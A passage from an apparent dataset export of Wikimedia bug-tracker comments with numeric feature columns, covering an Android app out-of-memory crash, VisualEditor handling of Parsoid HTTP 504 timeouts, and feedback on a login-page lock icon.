be spending time fixing them.

For the full story, see this thread on mobile-l: URL"
231871,app crashes with out-of-memory error soon after login,"changing status back to New and downgrading to Major, since the patch only affects low-memory devices but some OOM crashes happen even on devices with lots of memory.",,,1377701396,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,3,False,,,0,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.34375,0.90625,"changing status back to New and downgrading to Major, since the patch only affects low-memory devices but some OOM crashes happen even on devices with lots of memory."
231868,app crashes with out-of-memory error soon after login,"Change 78358 abandoned by Yuvipanda:
bug 50733: Fix OOM error on low-memory devices

https://gerrit.wikimedia.org/r/78358",,,1377250229,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,0.95,"Change 78358 abandoned by Yuvipanda:
bug 50733: Fix OOM error on low-memory devices

GERRIT_URL"
231864,app crashes with out-of-memory error soon after login,"Change 80491 merged by Yuvipanda:
bug 50733: Fix OOM error on low-memory devices

https://gerrit.wikimedia.org/r/80491",,,1377205040,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.95,"Change 80491 merged by Yuvipanda:
bug 50733: Fix OOM error on low-memory devices

GERRIT_URL"
231857,app crashes with out-of-memory error soon after login,"Change 80491 had a related patch set uploaded by Yuvipanda:
bug 50733: Fix OOM error on low-memory devices

https://gerrit.wikimedia.org/r/80491",,,1377205001,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.08,0.96,"Change 80491 had a related patch set uploaded by Yuvipanda:
bug 50733: Fix OOM error on low-memory devices

GERRIT_URL"
231850,app crashes with out-of-memory error soon after login,"As noted on the github pull req this does make things a little more herky-jerky, so we'll try only disabling the cache on low-memory devices.",,,1376105581,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.65625,0.90625,"As noted on the github pull req this does make things a little more herky-jerky, so we'll try only disabling the cache on low-memory devices."
231843,app crashes with out-of-memory error soon after login,"Change 78358 had a related patch set uploaded by SuchABot:
bug 50733: Fix OOM error on low-memory devices

https://gerrit.wikimedia.org/r/78358",,,1376036189,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.04,0.96,"Change 78358 had a related patch set uploaded by SuchABot:
bug 50733: Fix OOM error on low-memory devices

GERRIT_URL"
231836,app crashes with out-of-memory error soon after login,"https://github.com/wikimedia/apps-android-commons/pull/42 fixes it on my emulated Nexus One (real one isn't handy right now at Wikimania).

I basically just took out the in-memory bitmap cache. Instead if we pull an image from cache it'll load from Volley's on-disk cache and decode the jpg/png again.

Nexus One has a ridiculously low per-process memory limit (24mb????) so 1/8 of that makes a big difference. (I'm also not 100% sure if the cache size limit was working as intended, the numbers look weird.)

Yuvi, does this seem to trigger any perf issues on devices that do have the ram?",,,1375932378,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,True,,,-3,True,1.0,0.0,0.0,0.0,1.5,4.5,0.5,0.0,0.0,1.5,2.0,2.0,0.0,0.0,0.0,2.5,0.0,6.5,8.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,16.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.5,6.0,1.5,0.5,7.5,0.0,0.0,0.0,0.0,3.5,0.0,3.5,0.0,3.5,8.5,3.0,4.0,0.0,0.0,3.5,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.3881118881118883,0.8167832167832167,"URL fixes it on my emulated Nexus One (real one isn't handy right now at Wikimania).

I basically just took out the in-memory bitmap cache. Instead if we pull an image from cache it'll load from Volley's on-disk cache and decode the jpg/png again.

Nexus One has a ridiculously low per-process memory limit (24mb????) so 1/8 of that makes a big difference. (I'm also not 100% sure if the cache size limit was working as intended, the numbers look weird.)

Yuvi, does this seem to trigger any perf issues on devices that do have the ram?"
52475,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Trying to ""Edit"" on http://en.wikipedia.org/wiki/List_of_Advanced_Dungeons_%26_Dragons_2nd_edition_monsters after a minute or so results in a popup ""Error loading data from server: error. Would you like to retry?"". Trying again, repeats the issue

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=39057",Medium,50.0,1372620960,1394672264.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_description,resolved,True,c2,1,False,False,False,-9,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.388059701492537,0.6268656716417911,"Trying to ""Edit"" on URL after a minute or so results in a popup ""Error loading data from server: error. Would you like to retry?"". Trying again, repeats the issue

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
241657,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Change 118398 merged by jenkins-bot:
More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)

https://gerrit.wikimedia.org/r/118398",,,1394672072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,False,,,28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,4.6923076923076925,1.0,"Change 118398 merged by jenkins-bot:
More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)

GERRIT_URL"
241651,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Change 118398 had a related patch set uploaded by Alex Monk:
More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)

https://gerrit.wikimedia.org/r/118398",,,1394667684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,False,,,28,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,23.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,4.666666666666667,0.9666666666666667,"Change 118398 had a related patch set uploaded by Alex Monk:
More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)

GERRIT_URL"
241646,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"(In reply to James Forrester from comment #4)
> Possibily we could, instead of giving the user the error code, we could have
> a pop-up saying ""It looks like editor is currently unavailable; would you
> like to edit in source mode instead?"" with an OK that takes you to
> action=edit and a cancel that returns you to action=view? Maybe for
> error-tracking purposes we could add <small>Parsoid returned 504</small> or
> <small>Parsoid not available</small> after the general call-to-action?

Basically done this after checking with Roan about how to reproduce this error, without the small text underneath. Confirm dialogs don't allow you to use HTML markup.",,,1394667530,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,True,,,28,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,24.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,16.0,15.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9272727272727272,0.7454545454545455,"(In reply to James Forrester from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Basically done this after checking with Roan about how to reproduce this error, without the small text underneath. Confirm dialogs don't allow you to use HTML markup."
241643,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),We'll help. :-),,,1391913718,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,True,,,23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,1.0,We'll help. :-)
241640,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),(resetting assignee - I had issues trying to properly reproduce Parsoid timeouts like this on my machine),,,1391879277,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,True,,,23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,16.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.684210526315789,1.0,(resetting assignee - I had issues trying to properly reproduce Parsoid timeouts like this on my machine)
241638,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"I'm pulling this from being a blocker to bug 50848, given the reduced impact now that it works on the second try.",,,1373502193,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,4.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.68,0.96,"I'm pulling this from being a blocker to bug 50848, given the reduced impact now that it works on the second try."
241636,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"VE currently sets a 100s timeout, but in practice we often don't get there because the nginx proxies that terminate HTTPS and IPv6 traffic have a 60s timeout.",,,1373482219,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,10.0,3.0,6.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,13.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,4.225806451612903,0.9354838709677419,"VE currently sets a 100s timeout, but in practice we often don't get there because the nginx proxies that terminate HTTPS and IPv6 traffic have a 60s timeout."
241632,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"(In reply to comment #5)
> Previewing that page also works in about 30 seconds.

Actually closer to 70 on re-test.",,,1373481412,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,25.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.8,0.95,"(In reply to comment #5)
QUOTE

Actually closer to 70 on re-test."
241627,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"After upping the Varnish backend timeout to 5 minutes http://en.wikipedia.org/wiki/List_of_Advanced_Dungeons_%26_Dragons_2nd_edition_monsters?veaction=edit works now despite timing out in VE once. Hitting 'retry' re-joins the ongoing render, and returns the page pretty quickly. Previewing that page also works in about 30 seconds.

You might want to tweak your timeouts / UI to reflect this change. As long as there is no timout from Varnish the render is still ongoing.

More testing is needed with even larger pages. Bug 51053 will be closed when that is done.",,,1373481211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,3.0,0.0,5.0,1.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,1.0,0.0,1.0,11.0,12.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,12.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,2.0,12.0,3.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,4.0,2.0,0.0,0.0,3.9690721649484537,0.7628865979381443,"After upping the Varnish backend timeout to 5 minutes URL works now despite timing out in VE once. Hitting 'retry' re-joins the ongoing render, and returns the page pretty quickly. Previewing that page also works in about 30 seconds.

You might want to tweak your timeouts / UI to reflect this change. As long as there is no timout from Varnish the render is still ongoing.

More testing is needed with even larger pages. Bug 51053 will be closed when that is done."
241623,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Possibily we could, instead of giving the user the error code, we could have a pop-up saying ""It looks like editor is currently unavailable; would you like to edit in source mode instead?"" with an OK that takes you to action=edit and a cancel that returns you to action=view? Maybe for error-tracking purposes we could add <small>Parsoid returned 504</small> or <small>Parsoid not available</small> after the general call-to-action?",,,1373335525,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,4.0,0.0,1.0,2.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,1.0,6.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,7.0,12.0,2.0,3.0,2.0,0.0,7.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,5.0,3.8526315789473684,0.6526315789473685,"Possibily we could, instead of giving the user the error code, we could have a pop-up saying ""It looks like editor is currently unavailable; would you like to edit in source mode instead?"" with an OK that takes you to action=edit and a cancel that returns you to action=view? Maybe for error-tracking purposes we could add <small>Parsoid returned 504</small> or <small>Parsoid not available</small> after the general call-to-action?"
241619,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),Looks like the timeout here is on the Varnish/Parsoid side (API request on edit fails with error 504 after 60 secs).,,,1373334999,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.9230769230769231,Looks like the timeout here is on the Varnish/Parsoid side (API request on edit fails with error 504 after 60 secs).
241613,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Re: timeouts, need to be either handled more gracefully or we'll need to VE-blacklist articles where it occurs for now.",,,1373133953,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,3.8461538461538463,0.9230769230769231,"Re: timeouts, need to be either handled more gracefully or we'll need to VE-blacklist articles where it occurs for now."
241606,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),I think this is probably related - editing on large pages such as California is considerably slower when using VE than it is using the old editor. A contributor complained of slowness with this edit (http://en.wikipedia.org/w/index.php?title=California&diff=562339624&oldid=562339237) and I found the same issue with mine (http://en.wikipedia.org/w/index.php?title=California&diff=562390635&oldid=562351322),,,1372684698,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,15.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,4.1875,0.8125,I think this is probably related - editing on large pages such as California is considerably slower when using VE than it is using the old editor. A contributor complained of slowness with this edit (URL and I found the same issue with mine (URL
51660,Having a lock icon to go to secure login on login form is confusing,"When I first saw the lock icon next to the input field on the new login page, I assumed it meant the current page is secure, not that the link is to a secure page. (Not really a bug so much as feedback)

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Medium,50.0,1371423780,1380994020.0,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,False,PHID-TASK-4wo2v5t34qradc43fw33,task_description,resolved,True,c2,1,False,False,True,-11,True,2.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,9.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.515151515151515,0.6818181818181818,"When I first saw the lock icon next to the input field on the new login page, I assumed it meant the current page is secure, not that the link is to a secure page. (Not really a bug so much as feedback)

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
